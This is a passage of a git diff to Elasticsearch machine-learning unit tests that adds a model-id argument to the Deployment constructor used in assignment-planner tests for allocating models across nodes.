@@ -620,9 +662,9 @@ public void testSatisfiesAllDeployments_GivenOneModelHasOneAllocationLess() {
     public void testArePreviouslyAssignedDeploymentsAssigned_GivenTrue() {
         Node node1 = new Node("n_1", ByteSizeValue.ofMb(1000).getBytes(), 4);
         Node node2 = new Node("n_2", ByteSizeValue.ofMb(1000).getBytes(), 4);
-        Deployment deployment1 = new Deployment("m_1", ByteSizeValue.ofMb(50).getBytes(), 1, 2, Map.of(), 3, null, 0, 0);
-        Deployment deployment2 = new Deployment("m_2", ByteSizeValue.ofMb(30).getBytes(), 2, 1, Map.of(), 4, null, 0, 0);
-        Deployment deployment3 = new Deployment("m_3", ByteSizeValue.ofMb(20).getBytes(), 4, 1, Map.of(), 0, null, 0, 0);
+        Deployment deployment1 = new Deployment("m_1", "m_1", ByteSizeValue.ofMb(50).getBytes(), 1, 2, Map.of(), 3, null, 0, 0);
+        Deployment deployment2 = new Deployment("m_2", "m_2", ByteSizeValue.ofMb(30).getBytes(), 2, 1, Map.of(), 4, null, 0, 0);
+        Deployment deployment3 = new Deployment("m_3", "m_3", ByteSizeValue.ofMb(20).getBytes(), 4, 1, Map.of(), 0, null, 0, 0);
         AssignmentPlan plan = AssignmentPlan.builder(List.of(node1, node2), List.of(deployment1, deployment2, deployment3))
             .assignModelToNode(deployment1, node1, 1)
             .assignModelToNode(deployment2, node2, 1)
@@ -633,8 +675,8 @@ public void testArePreviouslyAssignedDeploymentsAssigned_GivenTrue() {
     public void testArePreviouslyAssignedDeploymentsAssigned_GivenFalse() {
         Node node1 = new Node("n_1", ByteSizeValue.ofMb(1000).getBytes(), 4);
         Node node2 = new Node("n_2", ByteSizeValue.ofMb(1000).getBytes(), 4);
-        Deployment deployment1 = new Deployment("m_1", ByteSizeValue.ofMb(50).getBytes(), 1, 2, Map.of(), 3, null, 0, 0);
-        Deployment deployment2 = new Deployment("m_2", ByteSizeValue.ofMb(30).getBytes(), 2, 1, Map.of(), 4, null, 0, 0);
+        Deployment deployment1 = new Deployment("m_1", "m_1", ByteSizeValue.ofMb(50).getBytes(), 1, 2, Map.of(), 3, null, 0, 0);
+        Deployment deployment2 = new Deployment("m_2", "m_2", ByteSizeValue.ofMb(30).getBytes(), 2, 1, Map.of(), 4, null, 0, 0);
         AssignmentPlan plan = AssignmentPlan.builder(List.of(node1, node2), List.of(deployment1, deployment2))
             .assignModelToNode(deployment1, node1, 1)
             .build();
@@ -644,8 +686,20 @@ public void testArePreviouslyAssignedDeploymentsAssigned_GivenFalse() {
     public void testCountPreviouslyAssignedThatAreStillAssigned() {
         Node node1 = new Node("n_1", ByteSizeValue.ofMb(1000).getBytes(), 4);
         Node node2 = new Node("n_2", ByteSizeValue.ofMb(1000).getBytes(), 4);
-        Deployment deployment1 = new AssignmentPlan.Deployment("m_1", ByteSizeValue.ofMb(50).getBytes(), 1, 2, Map.of(), 3, null, 0, 0);
+        Deployment deployment1 = new AssignmentPlan.Deployment(
+            "m_1",
+            "m_1",
+            ByteSizeValue.ofMb(50).getBytes(),
+            1,
+            2,
+            Map.of(),
+            3,
+            null,
+            0,
+            0
+        );
         AssignmentPlan.Deployment deployment2 = new AssignmentPlan.Deployment(
+            "m_2",
             "m_2",
             ByteSizeValue.ofMb(30).getBytes(),
             2,
@@ -657,6 +711,7 @@ public void testCountPreviouslyAssignedThatAreStillAssigned() {
             0
         );
         AssignmentPlan.Deployment deployment3 = new AssignmentPlan.Deployment(
+            "m_3",
             "m_3",
             ByteSizeValue.ofMb(20).getBytes(),
             4,
@@ -668,6 +723,7 @@ public void testCountPreviouslyAssignedThatAreStillAssigned() {
             0
         );
         AssignmentPlan.Deployment deployment4 = new AssignmentPlan.Deployment(
+            "m_4",
             "m_4",
             ByteSizeValue.ofMb(20).getBytes(),
             4,
diff --git a/x-pack/plugin/ml/src/test/java/org/elasticsearch/xpack/ml/inference/assignment/planning/AssignmentPlannerTests.java b/x-pack/plugin/ml/src/test/java/org/elasticsearch/xpack/ml/inference/assignment/planning/AssignmentPlannerTests.java
index 24095600c42d0..2a5b9839f80c3 100644
--- a/x-pack/plugin/ml/src/test/java/org/elasticsearch/xpack/ml/inference/assignment/planning/AssignmentPlannerTests.java
+++ b/x-pack/plugin/ml/src/test/java/org/elasticsearch/xpack/ml/inference/assignment/planning/AssignmentPlannerTests.java
@@ -42,13 +42,25 @@ private static long scaleNodeSize(long nodeMemory) {
     public void testModelThatDoesNotFitInMemory() {
         { // Without perDeploymentMemory and perAllocationMemory specified
             List<Node> nodes = List.of(new Node("n_1", scaleNodeSize(50), 4));
-            Deployment deployment = new AssignmentPlan.Deployment("m_1", ByteSizeValue.ofMb(51).getBytes(), 4, 1, Map.of(), 0, null, 0, 0);
+            Deployment deployment = new AssignmentPlan.Deployment(
+                "m_1",
+                "m_1",
+                ByteSizeValue.ofMb(51).getBytes(),
+                4,
+                1,
+                Map.of(),
+                0,
+                null,
+                0,
+                0
+            );
             AssignmentPlan plan = new AssignmentPlanner(nodes, List.of(deployment)).computePlan();
             assertThat(plan.assignments(deployment), isEmpty());
         }
         { // With perDeploymentMemory and perAllocationMemory specified
             List<Node> nodes = List.of(new Node("n_1", scaleNodeSize(55), 4));
             Deployment deployment = new AssignmentPlan.Deployment(
+                "m_1",
                 "m_1",
                 ByteSizeValue.ofMb(50).getBytes(),
                 4,
@@ -66,7 +78,18 @@ public void testModelThatDoesNotFitInMemory() {
 
     public void testModelWithThreadsPerAllocationNotFittingOnAnyNode() {
         List<Node> nodes = List.of(new Node("n_1", scaleNodeSize(100), 4), new Node("n_2", scaleNodeSize(100), 5));
-        Deployment deployment = new AssignmentPlan.Deployment("m_1", ByteSizeValue.ofMb(1).getBytes(), 1, 6, Map.of(), 0, null, 0, 0);
+        Deployment deployment = new AssignmentPlan.Deployment(
+            "m_1",
+            "m_1",
+            ByteSizeValue.ofMb(1).getBytes(),
+            1,
+            6,
+            Map.of(),
+            0,
+            null,
+            0,
+            0
+        );
         AssignmentPlan plan = new AssignmentPlanner(nodes, List.of(deployment)).computePlan();
         assertThat(plan.assignments(deployment), isEmpty());
     }
@@ -74,19 +97,31 @@ public void testModelWithThreadsPerAllocationNotFittingOnAnyNode() {
     public void testSingleModelThatFitsFullyOnSingleNode() {
         {
             Node node = new Node("n_1", scaleNodeSize(100), 4);
-            Deployment deployment = new AssignmentPlan.Deployment("m_1", ByteSizeValue.ofMb(100).getBytes(), 1, 1, Map.of(), 0, null, 0, 0);
+            Deployment deployment = new AssignmentPlan.Deployment(
+                "m_1",
+                "m_1",
+                ByteSizeValue.ofMb(100).getBytes(),
+                1,
+                1,
+                Map.of(),
+                0,
+                null,
+                0,
+                0
+            );
             AssignmentPlan plan = new AssignmentPlanner(List.of(node), List.of(deployment)).computePlan();
             assertModelFullyAssignedToNode(plan, deployment, node);
         }
         {
             Node node = new Node("n_1", scaleNodeSize(1000), 8);
-            Deployment deployment = new Deployment("m_1", ByteSizeValue.ofMb(1000).getBytes(), 8, 1, Map.of(), 0, null, 0, 0);
+            Deployment deployment = new Deployment("m_1", "m_1", ByteSizeValue.ofMb(1000).getBytes(), 8, 1, Map.of(), 0, null, 0, 0);
             AssignmentPlan plan = new AssignmentPlanner(List.of(node), List.of(deployment)).computePlan();
             assertModelFullyAssignedToNode(plan, deployment, node);
         }
         {
             Node node = new Node("n_1", scaleNodeSize(10000), 16);
             AssignmentPlan.Deployment deployment = new AssignmentPlan.Deployment(
+                "m_1",
                 "m_1",
                 ByteSizeValue.ofMb(10000).getBytes(),
                 1,
@@ -102,7 +137,18 @@ public void testSingleModelThatFitsFullyOnSingleNode() {
         }
         {
             Node node = new Node("n_1", scaleNodeSize(100), 4);
-            Deployment deployment = new AssignmentPlan.Deployment("m_1", ByteSizeValue.ofMb(100).getBytes(), 1, 1, Map.of(), 0, null, 0, 0);
+            Deployment deployment = new AssignmentPlan.Deployment(
+                "m_1",
+                "m_1",
+                ByteSizeValue.ofMb(100).getBytes(),
+                1,
+                1,
+                Map.of(),
+                0,
+                null,
+                0,
+                0
+            );
             AssignmentPlan plan = new AssignmentPlanner(List.of(node), List.of(deployment)).computePlan();
             assertModelFullyAssignedToNode(plan, deployment, node);
         }
@@ -112,6 +158,7 @@ public void testSingleModelThatFitsFullyOnSingleNode_NewMemoryFields() {
         {
             Node node = new Node("n_1", ByteSizeValue.ofMb(500).getBytes(), 4);
             Deployment deployment = new AssignmentPlan.Deployment(
+                "m_1",
                 "m_1",
                 ByteSizeValue.ofMb(100).getBytes(),
                 1,
@@ -128,6 +175,7 @@ public void testSingleModelThatFitsFullyOnSingleNode_NewMemoryFields() {
         {
             Node node = new Node("n_1", ByteSizeValue.ofMb(1000).getBytes(), 8);
             Deployment deployment = new Deployment(
+                "m_1",
                 "m_1",
                 ByteSizeValue.ofMb(100).getBytes(),
                 8,
@@ -146,7 +194,18 @@ public void testSingleModelThatFitsFullyOnSingleNode_NewMemoryFields() {
     public void testSingleModelThatFitsFullyOnSingleNode_GivenTwoNodes_ShouldBeFullyAssignedOnOneNode() {
         Node node1 = new Node("n_1", scaleNodeSize(100), 4);
         Node node2 = new Node("n_2", scaleNodeSize(100), 4);
-        AssignmentPlan.Deployment deployment = new Deployment("m_1", ByteSizeValue.ofMb(100).getBytes(), 4, 1, Map.of(), 0, null, 0, 0);
+        AssignmentPlan.Deployment deployment = new Deployment(
+            "m_1",
+            "m_1",
+            ByteSizeValue.ofMb(100).getBytes(),
+            4,
+            1,
+            Map.of(),
+            0,
+            null,
+            0,
+            0
+        );
 
         AssignmentPlan plan = new AssignmentPlanner(List.of(node1, node2), List.of(deployment)).computePlan();
 
@@ -162,6 +221,7 @@ public void testSingleModelThatFitsFullyOnSingleNode_GivenTwoNodes_ShouldBeFully
         Node node1 = new Node("n_1", ByteSizeValue.ofMb(1000).getBytes(), 4);
         Node node2 = new Node("n_2", ByteSizeValue.ofMb(1000).getBytes(), 4);
         AssignmentPlan.Deployment deployment = new Deployment(
+            "m_1",
             "m_1",
             ByteSizeValue.ofMb(100).getBytes(),
             4,
@@ -184,7 +244,18 @@ public void testSingleModelThatFitsFullyOnSingleNode_GivenTwoNodes_ShouldBeFully
     }
 
     public void testModelWithMoreAllocationsThanAvailableCores_GivenSingleThreadPerAllocation() {
-        AssignmentPlan.Deployment deployment = new Deployment("m_1", ByteSizeValue.ofMb(30).getBytes(), 10, 1, Map.of(), 0, null, 0, 0);
+        AssignmentPlan.Deployment deployment = new Deployment(
+            "m_1",
+            "m_1",
+            ByteSizeValue.ofMb(30).getBytes(),
+            10,
+            1,
+            Map.of(),
+            0,
+            null,
+            0,
+            0
+        );
         // Single node
         {
             Node node = new Node("n_1", scaleNodeSize(100), 4);
@@ -219,6 +290,7 @@ public void testModelWithMoreAllocationsThanAvailableCores_GivenSingleThreadPerA
 
     public void testModelWithMoreAllocationsThanAvailableCores_GivenSingleThreadPerAllocation_NewMemoryFields() {
         AssignmentPlan.Deployment deployment = new Deployment(
+            "m_1",
             "m_1",
             ByteSizeValue.ofMb(100).getBytes(),
             10,
@@ -266,10 +338,10 @@ public void testMultipleDeploymentsAndNodesWithSingleSolution() {
         Node node2 = new Node("n_2", 2 * scaleNodeSize(50), 7);
         Node node3 = new Node("n_3", 2 * scaleNodeSize(50), 2);
         Node node4 = new Node("n_4", 2 * scaleNodeSize(50), 2);
-        Deployment deployment1 = new Deployment("m_1", ByteSizeValue.ofMb(50).getBytes(), 2, 4, Map.of(), 0, null, 0, 0);
-        Deployment deployment2 = new Deployment("m_2", ByteSizeValue.ofMb(50).getBytes(), 2, 3, Map.of(), 0, null, 0, 0);
-        Deployment deployment3 = new Deployment("m_3", ByteSizeValue.ofMb(50).getBytes(), 1, 2, Map.of(), 0, null, 0, 0);
-        Deployment deployment4 = new Deployment("m_4", ByteSizeValue.ofMb(50).getBytes(), 2, 1, Map.of(), 0, null, 0, 0);
+        Deployment deployment1 = new Deployment("m_1", "m_1", ByteSizeValue.ofMb(50).getBytes(), 2, 4, Map.of(), 0, null, 0, 0);
+        Deployment deployment2 = new Deployment("m_2", "m_2", ByteSizeValue.ofMb(50).getBytes(), 2, 3, Map.of(), 0, null, 0, 0);
+        Deployment deployment3 = new Deployment("m_3", "m_3", ByteSizeValue.ofMb(50).getBytes(), 1, 2, Map.of(), 0, null, 0, 0);
+        Deployment deployment4 = new Deployment("m_4", "m_4", ByteSizeValue.ofMb(50).getBytes(), 2, 1, Map.of(), 0, null, 0, 0);
 
         AssignmentPlan plan = new AssignmentPlanner(
             List.of(node1, node2, node3, node4),
@@ -322,6 +394,7 @@ public void testMultipleDeploymentsAndNodesWithSingleSolution_NewMemoryFields()
         Node node3 = new Node("n_3", ByteSizeValue.ofMb(900).getBytes(), 2);
         Node node4 = new Node("n_4", ByteSizeValue.ofMb(900).getBytes(), 2);
         Deployment deployment1 = new Deployment(
+            "m_1",
             "m_1",
             ByteSizeValue.ofMb(50).getBytes(),
             2,
@@ -333,6 +406,7 @@ public void testMultipleDeploymentsAndNodesWithSingleSolution_NewMemoryFields()
             ByteSizeValue.ofMb(50).getBytes()
         );
         Deployment deployment2 = new Deployment(
+            "m_2",
             "m_2",
             ByteSizeValue.ofMb(50).getBytes(),
             2,
@@ -344,6 +418,7 @@ public void testMultipleDeploymentsAndNodesWithSingleSolution_NewMemoryFields()
             ByteSizeValue.ofMb(50).getBytes()
         );
         Deployment deployment3 = new Deployment(
+            "m_3",
             "m_3",
             ByteSizeValue.ofMb(50).getBytes(),
             1,
@@ -355,6 +430,7 @@ public void testMultipleDeploymentsAndNodesWithSingleSolution_NewMemoryFields()
             ByteSizeValue.ofMb(50).getBytes()
         );
         Deployment deployment4 = new Deployment(
+            "m_4",
             "m_4",
             ByteSizeValue.ofMb(50).getBytes(),
             2,
@@ -412,7 +488,18 @@ public void testMultipleDeploymentsAndNodesWithSingleSolution_NewMemoryFields()
     }
 
     public void testModelWithMoreAllocationsThanAvailableCores_GivenThreeThreadsPerAllocation() {
-        Deployment deployment = new AssignmentPlan.Deployment("m_1", ByteSizeValue.ofMb(30).getBytes(), 10, 3, Map.of(), 0, null, 0, 0);
+        Deployment deployment = new AssignmentPlan.Deployment(
+            "m_1",
+            "m_1",
+            ByteSizeValue.ofMb(30).getBytes(),
+            10,
+            3,
+            Map.of(),
+            0,
+            null,
+            0,
+            0
+        );
         // Single node
         {
             Node node = new Node("n_1", scaleNodeSize(100), 4);
@@ -447,6 +534,7 @@ public void testModelWithMoreAllocationsThanAvailableCores_GivenThreeThreadsPerA
 
     public void testModelWithMoreAllocationsThanAvailableCores_GivenThreeThreadsPerAllocation_NewMemoryFields() {
         Deployment deployment = new AssignmentPlan.Deployment(
+            "m_1",
             "m_1",
             ByteSizeValue.ofMb(50).getBytes(),
             10,
@@ -492,6 +580,7 @@ public void testModelWithMoreAllocationsThanAvailableCores_GivenThreeThreadsPerA
     public void testModelWithPreviousAssignmentAndNoMoreCoresAvailable() {
         Node node = new Node("n_1", scaleNodeSize(100), 4);
         AssignmentPlan.Deployment deployment = new AssignmentPlan.Deployment(
+            "m_1",
             "m_1",
             ByteSizeValue.ofMb(30).getBytes(),
             4,
@@ -518,18 +607,18 @@ public void testFullCoreUtilization_GivenDeploymentsWithSingleThreadPerAllocatio
             new Node("n_6", ByteSizeValue.ofGb(32).getBytes(), 16)
         );
         List<Deployment> deployments = List.of(
-            new Deployment("m_1", ByteSizeValue.ofGb(4).getBytes(), 10, 1, Map.of("n_1", 5), 0, null, 0, 0),
-            new AssignmentPlan.Deployment("m_2", ByteSizeValue.ofGb(2).getBytes(), 3, 1, Map.of("n_3", 2), 0, null, 0, 0),
-            new AssignmentPlan.Deployment("m_3", ByteSizeValue.ofGb(3).getBytes(), 3, 1, Map.of(), 0, null, 0, 0),
-            new Deployment("m_4", ByteSizeValue.ofGb(1).getBytes(), 4, 1, Map.of("n_3", 2), 0, null, 0, 0),
-            new Deployment("m_5", ByteSizeValue.ofGb(6).getBytes(), 2, 1, Map.of(), 0, null, 0, 0),
-            new Deployment("m_6", ByteSizeValue.ofGb(1).getBytes(), 12, 1, Map.of(), 0, null, 0, 0),
-            new AssignmentPlan.Deployment("m_7", ByteSizeValue.ofGb(1).getBytes() / 2, 12, 1, Map.of("n_2", 6), 0, null, 0, 0),
-            new Deployment("m_8", ByteSizeValue.ofGb(2).getBytes(), 4, 1, Map.of(), 0, null, 0, 0),
-            new Deployment("m_9", ByteSizeValue.ofGb(1).getBytes(), 4, 1, Map.of(), 0, null, 0, 0),
-            new AssignmentPlan.Deployment("m_10", ByteSizeValue.ofGb(7).getBytes(), 7, 1, Map.of(), 0, null, 0, 0),
-            new Deployment("m_11", ByteSizeValue.ofGb(2).getBytes(), 3, 1, Map.of(), 0, null, 0, 0),
-            new Deployment("m_12", ByteSizeValue.ofGb(1).getBytes(), 10, 1, Map.of(), 0, null, 0, 0)
+            new Deployment("m_1", "m_1", ByteSizeValue.ofGb(4).getBytes(), 10, 1, Map.of("n_1", 5), 0, null, 0, 0),
+            new AssignmentPlan.Deployment("m_2", "m_2", ByteSizeValue.ofGb(2).getBytes(), 3, 1, Map.of("n_3", 2), 0, null, 0, 0),
+            new AssignmentPlan.Deployment("m_3", "m_4", ByteSizeValue.ofGb(3).getBytes(), 3, 1, Map.of(), 0, null, 0, 0),
+            new Deployment("m_4", "m_4", ByteSizeValue.ofGb(1).getBytes(), 4, 1, Map.of("n_3", 2), 0, null, 0, 0),
+            new Deployment("m_5", "m_5", ByteSizeValue.ofGb(6).getBytes(), 2, 1, Map.of(), 0, null, 0, 0),
+            new Deployment("m_6", "m_6", ByteSizeValue.ofGb(1).getBytes(), 12, 1, Map.of(), 0, null, 0, 0),
+            new AssignmentPlan.Deployment("m_7", "m_7", ByteSizeValue.ofGb(1).getBytes() / 2, 12, 1, Map.of("n_2", 6), 0, null, 0, 0),
+            new Deployment("m_8", "m_8", ByteSizeValue.ofGb(2).getBytes(), 4, 1, Map.of(), 0, null, 0, 0),
+            new Deployment("m_9", "m_9", ByteSizeValue.ofGb(1).getBytes(), 4, 1, Map.of(), 0, null, 0, 0),
+            new AssignmentPlan.Deployment("m_10", "m_10", ByteSizeValue.ofGb(7).getBytes(), 7, 1, Map.of(), 0, null, 0, 0),
+            new Deployment("m_11", "m_11", ByteSizeValue.ofGb(2).getBytes(), 3, 1, Map.of(), 0, null, 0, 0),
+            new Deployment("m_12", "m_12", ByteSizeValue.ofGb(1).getBytes(), 10, 1, Map.of(), 0, null, 0, 0)
         );
 
         AssignmentPlan assignmentPlan = new AssignmentPlanner(nodes, deployments).computePlan();
@@ -556,6 +645,7 @@ public void testFullCoreUtilization_GivenDeploymentsWithSingleThreadPerAllocatio
         // Use mix of old and new memory fields
         List<Deployment> deployments = List.of(
             new Deployment(
+                "m_1",
                 "m_1",
                 ByteSizeValue.ofMb(100).getBytes(),
                 10,
@@ -566,8 +656,9 @@ public void testFullCoreUtilization_GivenDeploymentsWithSingleThreadPerAllocatio
                 ByteSizeValue.ofMb(400).getBytes(),
                 ByteSizeValue.ofMb(100).getBytes()
             ),
-            new Deployment("m_2", ByteSizeValue.ofMb(100).getBytes(), 3, 1, Map.of("n_3", 2), 0, null, 0, 0),
+            new Deployment("m_2", "m_2", ByteSizeValue.ofMb(100).getBytes(), 3, 1, Map.of("n_3", 2), 0, null, 0, 0),
             new Deployment(
+                "m_3",
                 "m_3",
                 ByteSizeValue.ofMb(50).getBytes(),
                 3,
@@ -579,6 +670,7 @@ public void testFullCoreUtilization_GivenDeploymentsWithSingleThreadPerAllocatio
                 ByteSizeValue.ofMb(50).getBytes()
             ),
             new Deployment(
+                "m_4",
                 "m_4",
                 ByteSizeValue.ofMb(50).getBytes(),
                 4,
@@ -590,6 +682,7 @@ public void testFullCoreUtilization_GivenDeploymentsWithSingleThreadPerAllocatio
                 ByteSizeValue.ofMb(100).getBytes()
             ),
             new Deployment(
+                "m_5",
                 "m_5",
                 ByteSizeValue.ofMb(500).getBytes(),
                 2,
@@ -601,6 +694,7 @@ public void testFullCoreUtilization_GivenDeploymentsWithSingleThreadPerAllocatio
                 ByteSizeValue.ofMb(100).getBytes()
             ),
             new Deployment(
+                "m_6",
                 "m_6",
                 ByteSizeValue.ofMb(50).getBytes(),
                 12,
@@ -612,6 +706,7 @@ public void testFullCoreUtilization_GivenDeploymentsWithSingleThreadPerAllocatio
                 ByteSizeValue.ofMb(20).getBytes()
             ),
             new Deployment(
+                "m_7",
                 "m_7",
                 ByteSizeValue.ofMb(50).getBytes(),
                 12,
@@ -622,11 +717,11 @@ public void testFullCoreUtilization_GivenDeploymentsWithSingleThreadPerAllocatio
                 ByteSizeValue.ofMb(300).getBytes(),
                 ByteSizeValue.ofMb(50).getBytes()
             ),
-            new Deployment("m_8", ByteSizeValue.ofGb(2).getBytes(), 4, 1, Map.of(), 0, null, 0, 0),
-            new Deployment("m_9", ByteSizeValue.ofGb(1).getBytes(), 4, 1, Map.of(), 0, null, 0, 0),
-            new Deployment("m_10", ByteSizeValue.ofGb(7).getBytes(), 7, 1, Map.of(), 0, null, 0, 0),
-            new Deployment("m_11", ByteSizeValue.ofGb(2).getBytes(), 3, 1, Map.of(), 0, null, 0, 0),
-            new Deployment("m_12", ByteSizeValue.ofGb(1).getBytes(), 10, 1, Map.of(), 0, null, 0, 0)
+            new Deployment("m_8", "m_8", ByteSizeValue.ofGb(2).getBytes(), 4, 1, Map.of(), 0, null, 0, 0),
+            new Deployment("m_9", "m_9", ByteSizeValue.ofGb(1).getBytes(), 4, 1, Map.of(), 0, null, 0, 0),
+            new Deployment("m_10", "m_10", ByteSizeValue.ofGb(7).getBytes(), 7, 1, Map.of(), 0, null, 0, 0),
+            new Deployment("m_11", "m_11", ByteSizeValue.ofGb(2).getBytes(), 3, 1, Map.of(), 0, null, 0, 0),
+            new Deployment("m_12", "m_12", ByteSizeValue.ofGb(1).getBytes(), 10, 1, Map.of(), 0, null, 0, 0)
         );
 
         AssignmentPlan assignmentPlan = new AssignmentPlanner(nodes, deployments).computePlan();
@@ -731,6 +826,7 @@ public void testPreviousAssignmentsGetAtLeastAsManyAllocationsAfterAddingNewMode
             previousModelsPlusNew.add(
                 new AssignmentPlan.Deployment(
                     m.deploymentId(),
+                    m.modelId(),
                     m.memoryBytes(),
                     m.allocations(),
                     m.threadsPerAllocation(),
@@ -754,6 +850,7 @@ public void testGivenLargerModelWithPreviousAssignmentsAndSmallerModelWithoutAss
         Node node2 = new Node("n_2", scaleNodeSize(ByteSizeValue.ofGb(2).getMb()), 2);
         Node node3 = new Node("n_3", scaleNodeSize(ByteSizeValue.ofGb(2).getMb()), 2);
         Deployment deployment1 = new AssignmentPlan.Deployment(
+            "m_1",
             "m_1",
             ByteSizeValue.ofMb(1200).getBytes(),
             3,
@@ -764,7 +861,7 @@ public void testGivenLargerModelWithPreviousAssignmentsAndSmallerModelWithoutAss
             0,
             0
         );
-        Deployment deployment2 = new Deployment("m_2", ByteSizeValue.ofMb(1100).getBytes(), 2, 1, Map.of(), 0, null, 0, 0);
+        Deployment deployment2 = new Deployment("m_2", "m_2", ByteSizeValue.ofMb(1100).getBytes(), 2, 1, Map.of(), 0, null, 0, 0);
         AssignmentPlan assignmentPlan = new AssignmentPlanner(List.of(node1, node2, node3), List.of(deployment1, deployment2))
             .computePlan();
         assertThat(assignmentPlan.getRemainingNodeMemory("n_1"), greaterThanOrEqualTo(0L));
@@ -790,6 +887,7 @@ public void testModelWithoutCurrentAllocationsGetsAssignedIfAllocatedPreviously(
         Node node1 = new Node("n_1", ByteSizeValue.ofGb(6).getBytes(), 2);
         Node node2 = new Node("n_2", ByteSizeValue.ofGb(6).getBytes(), 2);
         AssignmentPlan.Deployment deployment1 = new Deployment(
+            "m_1",
             "m_1",
             ByteSizeValue.ofMb(1200).getBytes(),
             3,
@@ -801,6 +899,7 @@ public void testModelWithoutCurrentAllocationsGetsAssignedIfAllocatedPreviously(
             0
         );
         AssignmentPlan.Deployment deployment2 = new AssignmentPlan.Deployment(
+            "m_2",
             "m_2",
             ByteSizeValue.ofMb(1100).getBytes(),
             1,
@@ -829,8 +928,30 @@ public void testModelWithoutCurrentAllocationsGetsAssignedIfAllocatedPreviously(
 
     public void testGivenPreviouslyAssignedDeployments_CannotAllBeAllocated() {
         Node node1 = new Node("n_1", scaleNodeSize(ByteSizeValue.ofGb(2).getMb()), 2);
-        AssignmentPlan.Deployment deployment1 = new Deployment("m_1", ByteSizeValue.ofMb(1200).getBytes(), 1, 1, Map.of(), 1, null, 0, 0);
-        AssignmentPlan.Deployment deployment2 = new Deployment("m_2", ByteSizeValue.ofMb(1100).getBytes(), 1, 1, Map.of(), 1, null, 0, 0);
+        AssignmentPlan.Deployment deployment1 = new Deployment(
+            "m_1",
+            "m_1",
+            ByteSizeValue.ofMb(1200).getBytes(),
+            1,
+            1,
+            Map.of(),
+            1,
+            null,
+            0,
+            0
+        );
+        AssignmentPlan.Deployment deployment2 = new Deployment(
+            "m_2",
+            "m_2",
+            ByteSizeValue.ofMb(1100).getBytes(),
+            1,
+            1,
+            Map.of(),
+            1,
+            null,
+            0,
+            0
+        );
 
         AssignmentPlan assignmentPlan = new AssignmentPlanner(List.of(node1), List.of(deployment1, deployment2)).computePlan();
 
@@ -840,9 +961,20 @@ public void testGivenPreviouslyAssignedDeployments_CannotAllBeAllocated() {
     public void testGivenClusterResize_AllocationShouldNotExceedMemoryConstraints() {
         Node node1 = new Node("n_1", ByteSizeValue.ofMb(1840).getBytes(), 2);
         Node node2 = new Node("n_2", ByteSizeValue.ofMb(2580).getBytes(), 2);
-        Deployment deployment1 = new Deployment("m_1", ByteSizeValue.ofMb(800).getBytes(), 2, 1, Map.of(), 0, null, 0, 0);
-        Deployment deployment2 = new AssignmentPlan.Deployment("m_2", ByteSizeValue.ofMb(800).getBytes(), 1, 1, Map.of(), 0, null, 0, 0);
-        Deployment deployment3 = new Deployment("m_3", ByteSizeValue.ofMb(250).getBytes(), 4, 1, Map.of(), 0, null, 0, 0);
+        Deployment deployment1 = new Deployment("m_1", "m_1", ByteSizeValue.ofMb(800).getBytes(), 2, 1, Map.of(), 0, null, 0, 0);
+        Deployment deployment2 = new AssignmentPlan.Deployment(
+            "m_2",
+            "m_2",
+            ByteSizeValue.ofMb(800).getBytes(),
+            1,
+            1,
+            Map.of(),
+            0,
+            null,
+            0,
+            0
+        );
+        Deployment deployment3 = new Deployment("m_3", "m_3", ByteSizeValue.ofMb(250).getBytes(), 4, 1, Map.of(), 0, null, 0, 0);
 
         // First only start m_1
         AssignmentPlan assignmentPlan = new AssignmentPlanner(List.of(node1, node2), List.of(deployment1)).computePlan();
@@ -882,9 +1014,9 @@ public void testGivenClusterResize_AllocationShouldNotExceedMemoryConstraints()
     public void testGivenClusterResize_ShouldAllocateEachModelAtLeastOnce() {
         Node node1 = new Node("n_1", ByteSizeValue.ofMb(2600).getBytes(), 2);
         Node node2 = new Node("n_2", ByteSizeValue.ofMb(2600).getBytes(), 2);
-        Deployment deployment1 = new Deployment("m_1", ByteSizeValue.ofMb(800).getBytes(), 2, 1, Map.of(), 0, null, 0, 0);
-        Deployment deployment2 = new Deployment("m_2", ByteSizeValue.ofMb(800).getBytes(), 1, 1, Map.of(), 0, null, 0, 0);
-        Deployment deployment3 = new Deployment("m_3", ByteSizeValue.ofMb(250).getBytes(), 4, 1, Map.of(), 0, null, 0, 0);
+        Deployment deployment1 = new Deployment("m_1", "m_1", ByteSizeValue.ofMb(800).getBytes(), 2, 1, Map.of(), 0, null, 0, 0);
+        Deployment deployment2 = new Deployment("m_2", "m_2", ByteSizeValue.ofMb(800).getBytes(), 1, 1, Map.of(), 0, null, 0, 0);
+        Deployment deployment3 = new Deployment("m_3", "m_3", ByteSizeValue.ofMb(250).getBytes(), 4, 1, Map.of(), 0, null, 0, 0);
 
         // First only start m_1
         AssignmentPlan assignmentPlan = new AssignmentPlanner(List.of(node1, node2), List.of(deployment1)).computePlan();
@@ -953,9 +1085,9 @@ public void testGivenClusterResize_ShouldRemoveAllocatedDeployments() {
         // Ensure that plan is removing previously allocated models if not enough memory is available
         Node node1 = new Node("n_1", ByteSizeValue.ofMb(1840).getBytes(), 2);
         Node node2 = new Node("n_2", ByteSizeValue.ofMb(2580).getBytes(), 2);
-        Deployment deployment1 = new Deployment("m_1", ByteSizeValue.ofMb(800).getBytes(), 2, 1, Map.of(), 0, null, 0, 0);
-        Deployment deployment2 = new Deployment("m_2", ByteSizeValue.ofMb(800).getBytes(), 1, 1, Map.of(), 0, null, 0, 0);
-        Deployment deployment3 = new Deployment("m_3", ByteSizeValue.ofMb(250).getBytes(), 1, 1, Map.of(), 0, null, 0, 0);
+        Deployment deployment1 = new Deployment("m_1", "m_1", ByteSizeValue.ofMb(800).getBytes(), 2, 1, Map.of(), 0, null, 0, 0);
+        Deployment deployment2 = new Deployment("m_2", "m_2", ByteSizeValue.ofMb(800).getBytes(), 1, 1, Map.of(), 0, null, 0, 0);
+        Deployment deployment3 = new Deployment("m_3", "m_3", ByteSizeValue.ofMb(250).getBytes(), 1, 1, Map.of(), 0, null, 0, 0);
 
         // Create a plan where all deployments are assigned at least once
         AssignmentPlan assignmentPlan = new AssignmentPlanner(List.of(node1, node2), List.of(deployment1, deployment2, deployment3))
@@ -981,6 +1113,7 @@ public void testGivenClusterResize_ShouldRemoveAllocatedDeployments_NewMemoryFie
         Node node1 = new Node("n_1", ByteSizeValue.ofMb(700).getBytes(), 2);
         Node node2 = new Node("n_2", ByteSizeValue.ofMb(1000).getBytes(), 2);
         Deployment deployment1 = new Deployment(
+            "m_1",
             "m_1",
             ByteSizeValue.ofMb(100).getBytes(),
             2,
